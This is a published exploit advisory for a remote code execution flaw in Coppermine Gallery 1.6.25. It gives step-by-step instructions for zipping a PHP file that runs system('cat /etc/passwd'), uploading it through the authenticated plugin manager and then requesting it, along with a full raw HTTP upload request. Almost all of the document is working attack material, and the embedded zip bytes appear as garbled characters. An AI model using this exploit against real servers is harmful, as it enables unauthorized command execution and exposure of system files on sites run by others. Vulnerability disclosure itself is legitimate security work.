Coppermine Gallery 1.6.25 Remote Code Execution

`Exploit Title: coppermine-gallery 1.6.25 RCE  
Application: coppermine-gallery  
Version: v1.6.25   
Bugs: RCE  
Technology: PHP  
Vendor URL: https://coppermine-gallery.net/  
Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip  
Date of found: 05.09.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps  
  
  
1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.  
$ cat >> test.php   
<?php echo system('cat /etc/passwd'); ?>  
$ zip test.zip test.php  
  
1. Login to account  
2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php  
3. Upload zip file  
4. Visit to php file http://localhost/cpg1.6.x-1.6.25/plugins/test.php  
  
  
  
poc request  
  
POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1  
Host: localhost  
Content-Length: 630  
Cache-Control: max-age=0  
sec-ch-ua:   
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: ""  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c  
Connection: close  
  
------WebKitFormBoundaryi1AopwPnBYPdzorF  
Content-Disposition: form-data; name="plugin"; filename="test.zip"  
Content-Type: application/zip  
  
PK  
�����™b%Wz½µ}(���(�����test.phpUT �ñòödÓòödux���������<?php echo system('cat /etc/passwd');?>  
PK  
�����™b%Wz½µ}(���(������������¤����test.phpUT�ñòödux���������PK������N���j�����  
------WebKitFormBoundaryi1AopwPnBYPdzorF  
Content-Disposition: form-data; name="form_token"  
  
50982f2e64a7bfa63dbd912a7fdb4e1e  
------WebKitFormBoundaryi1AopwPnBYPdzorF  
Content-Disposition: form-data; name="timestamp"  
  
1693905214  
------WebKitFormBoundaryi1AopwPnBYPdzorF--  
`